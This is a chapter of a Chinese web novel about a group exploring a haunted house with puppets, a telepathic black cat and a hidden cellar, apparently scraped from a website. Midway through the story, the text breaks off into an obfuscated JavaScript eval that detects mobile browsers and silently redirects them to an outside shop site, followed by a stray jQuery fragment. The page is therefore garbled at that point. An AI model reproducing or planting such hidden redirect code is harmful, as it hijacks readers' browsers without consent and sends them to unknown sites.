“但是,我真的不是故意针对你。你们长得一模一样,我分不清哪个是你,那便一并道歉了吧。”
顿时,那个原本冷静下来的木偶又升起冲天火气,就差当头给他一击,就连其他木偶都变得更加虎视眈眈起来。
全场寂静。
不会说话可以不说。众人(和木偶)心声如上。
不过云观岑觉得对方这话不似无心之失,反倒像刻意挑衅哈……不重要,这些都不重要。
只见李陵话音落下,毫不心慈手软地又祭出九张火符,一一贴在木偶身上,随即引燃,一套动作行云流水。
直至木偶再一次被焚烧成为灰烬,保持沉默的众人才收起一言难尽的目光。
云姒第一个开口:“你……蔫坏。”她开始怀疑对方刚才的发言究竟是不是没过脑子了。
宋昭微扫过地上乌黑灰烬一眼,而后尴尬地移开目光,假咳一声,未发表评价。
唯独云观岑目露赞赏,别有深意地拍了拍李陵的肩膀。
对待这种非人生物,本该如此。“先找找线索吧。”云观岑说。
云姒点燃被木偶挡住的小桌之上的蜡烛,却见这火光无法驱散房中分毫黑暗,仅桌面那一小块地方亮堂起来,露出其上斑驳不明的痕迹。
这痕迹歪歪斜斜,像是随意涂画,又似乎包含什么未知的深意。
她看不分明,当即申请外援:“你们快来看看!”
这图案由直线组成,创作者似乎不太熟练,有些离得太近,有些离得过远,彼此之间完全没有连接的地方,却能给人一种并非随便涂抹的感觉。
不像画,倒像字,但看不出究竟是什么字,甚至连这图案的朝向都看不明白。
所以,这究竟是什么意思?不懂啊,完全不懂啊。
“你应该留一个木偶。”
云观岑说着斜睨李陵一眼,仿佛刚才赞赏对方的人不是自己一般。
李陵:……
“抱歉,我冲动了。”
这话说的毫无诚意,因为下一句是:“下次还敢。”
众人:……
云观岑弯唇,微微眯起眼睛狡黠地看向李陵,如同得逞的狐狸:“临章,需要我帮忙么?”
这话说的很轻,带着一种莫名的蛊惑。
“拜托,线索是我发现的!”云姒不满,“你为什么问他?”
“他烧的木偶。”云观岑说。
李陵:?
“所以,这就把锅甩给我了?”李陵无奈,依然配合地恳求,“羡之,你帮帮我。”
虽知错不在自己,但满足一下云观岑的恶趣味并无不可。
“接收到你的求助了。”云观岑双手结印,闭目启唇,声音极低,连距离他最近的云姒都听不太清。
与此同时,一束靛青光芒自指尖浮现,下一秒,紧接一声突兀的猫叫。
随即,一只玄猫自门外飞奔而进,直冲他怀中而来。
玄猫颈上系着一个金色铃铛,在微弱烛光的映照下反射出明显的光晕,正随它的动作叮铃作响。
未等云观岑说话,云姒先惊呼一声:“这不是……!”
嗯?
话一出口,便感到三道视线都落在了她的身上。
云姒再度讪笑,拉过云观岑往一旁悄悄挪去,用只有两个人能听到的声音问道:“她怎么还在这里?”
“她从来不在这里。”云观岑略一挑眉,答案似是而非。
“怎么可能?我和李陵分明见过她!”云姒反驳道。
“你们见到的,真的是她么?”
“什么意思?”
“再见时你可以详细问问她。”云观岑微微一笑,“或者,连带我的那份一起问了?”
云姒美目骤缩,情不自禁往后退了半步。
“对不起。”云姒深吸一口气,语气诚恳。
“为何道歉?”云观岑不解。
“是我太过自负。”云姒认真道。
云观岑:?他不懂。
每个人都有自己的秘密,他不觉得云姒隐瞒他有什么不对,况且,他虽知道惊蛰与云姒多少有些关于他的秘密,但确实不清楚她们为什么要藏着掖着,但她们不愿说,他怎么好去刨根问底。
“原来,你早就知道救你是她的手笔。”云姒嘟囔,“早知道不听她的了……”
“后悔了?”云观岑问。
“那倒没有。”云姒说,“其实她早就知道瞒不过你吧。”
“这得问她。”云观岑不在意地笑笑。
他重新将目光放回玄猫身上,取下它颈间的铃铛。
这铃铛两旁皆有一道细小裂痕,将其拆开,便见其中隐藏的纸条,纸条上的字像是由桌上痕迹组合而成,表达出清晰的指向:
‘底’,‘彰’,‘木’。
三个字,依然需要破解,但比之前容易许多。
“孟彰在下面的暗室。”云观岑解释道。
李陵满头雾水:“你这究竟是怎么解出来的?”
云观岑笑而不语,活脱脱一副谜语人模样。
“孟彰是何人?”宋昭微眉梢微微蹙起。
云观岑叹了口气,诚恳道:“我不知道。”
“你既不知,为何识得这个名字?”宋昭微抿紧唇,质问道,“羡之,你又在唬我。”
云观岑却仍沉默不语,甚至连稍微的情绪波动都未曾出现。
宋昭微沉静的目光看了他许久,终是仿若认命般叹息道:“……先找机关。”
见三人各自翻找起来,云观岑不动声色的目光盯着宋昭微看了许久,方才揉了揉玄猫,听它舒服地叫了一声,又往里凑了凑,再度开口:“你既知晓,为何不愿相告?”
玄猫探出头来,乌黑的瞳孔斜睨他一眼,舔了舔爪子。
“怕你变笨。”
这四个字从他脑海响起,旁人听不见。
“我想放弃思考。”云观岑说。
“你不想。”
依然是从脑海响起的属于惊蛰的声音。
云观岑沉默了。再抬头时,才发现其他三人用看神经病的眼神盯着自己,他更沉默了。
——她故意的吧?
这样想着,果不其然感受到它往他怀里蹭了蹭,微颤的身体彰显着幸灾乐祸。
云观岑无语地翻了个白眼。
宋昭微清咳一声,正色道:“这里应该还有机关,我们找找。”
此言一出,落在云观岑身上的几道怪异目光立刻收住。
三人重新寻找起来,唯独云观岑找了个位置坐下,好整以暇观察忙碌的众人,顺便继续撸猫。
“你就是这样放弃思考的?”她的声音再次在脑海响起。
“又如何?”目光移到玄猫身上,他义正言辞。
“……小心变傻。”
“不会。”他的声音压得很低,“比起这个,你为何会来?”
“你不是知道么?我根本没去。”带着一丝笑意,她又说,“只是让‘它’去了。”
得到确定的答案,云观岑不再说话。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942349|213823||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“快回来,我等你。”她说。
话音落下,玄猫脱离他的怀抱,几步便消失在了浓浓黑夜。
云观岑遗憾地叹了口气。其实,他还没摸够。
心里这么想,他还是站直身体准备过去帮忙。
房间很空旷,但在黑暗之中寻找机关不算容易,每一寸摸过去都是同样的触感,根本找不出异常之处。
与宋昭微温和的方式不同,李陵和云姒那边就差把整个房间掀了。
云观岑侧目看了一眼,嘴角微微抽了抽,选择尊重顺从,只是默默往宋昭微那边贴过去。
——他怕被误伤。
“哇~”
没等走几步,就听云姒那边传来一声惊呼。
循音望去,只见云姒站在床边,其上的被褥木板俱被掀开,露出底下密室。
“找到了!”云姒说着,招手喊人过去。
洞口十分黑暗,半分光芒都透不进来,仅能看清几级石质阶梯,不知究竟通往何处。
李陵身先士卒,就循黑暗摸索着踏下楼梯,而后接住紧接而下的云观岑的手,还不往告诫:“我们去探路,你们守在上面。”
“喂!”云姒跺了跺脚,不满道,“你是不是太小看我了?我也要去!”
“你留下来保护陆少卿。”李陵不容置疑道。
却听宋昭微严词拒绝:“我也去。”
这下轮到李陵哑口无言了。
宋昭微是他上司,他有资格说拒绝么?可他不想同意……
局面僵持不下。
最终云观岑打破僵局,叹息一声,言简意赅道:“一起去。”
闻言,李陵迟疑片刻,见其他三人意见一致,唯独自己有所不同,也不再坚持,小心翼翼承担探路的角色。
这条路确实很黑。
沉闷、静谧、阴冷,伸手不见五指,以至每一步踏过去,都像经过一个世纪一般,若非握住的那只手依然温暖,他几乎无法控制心底蔓延的惊惶。
像是发现了他的担忧与不安,本来一直处于被动的温暖源反握住他,占据主动,像是无声告诉他“别怕”。
说起来,他自己都不明白为何害怕。
因为从未接触过如此极致的黑暗?因为在这里经历的一切过于荒诞恐怖?还是说……
他害怕守护不住珍惜之人?
不,他绝不允许自己失败。
受不了沉寂的氛围,云姒不自觉贴近身前宋昭微的身体,连出口的声音都带着恐惧的微颤:“我们……要不然还是出去吧?”
不同于亲眼见到诡怪的惊惧,这里分明看不出什么危险,却缓慢吞噬着她的理智与自信,比起已知的敌人,这样未知的险境更让她退缩。
“不行。”宋昭微的声音虽然温柔,却带着不容拒绝的坚定。她的好奇心战胜了恐惧。
“我会尽力护好你们。”李陵说。
“不需要。”云观岑道。
话虽冷淡,却在李陵心底激起一阵莫名的涟漪,他轻舒一口气,没再说话。
不知过了多久,脚下踩着的终于不再是阶梯,而是潮湿黏腻的石地。
密室弥漫着难闻的气味,像是强行用香料掩饰腥臭一般,浓郁到几欲令人作呕。
云姒捂住口鼻,双眉紧蹙。
李陵脚步未停,警惕试探前路。
直至眼前出现一抹微弱的亮光,几人紧绷的身体才终于略略放松。
循光而去,终于看见了来到这里之后看见的第一个算作是“人”的生物。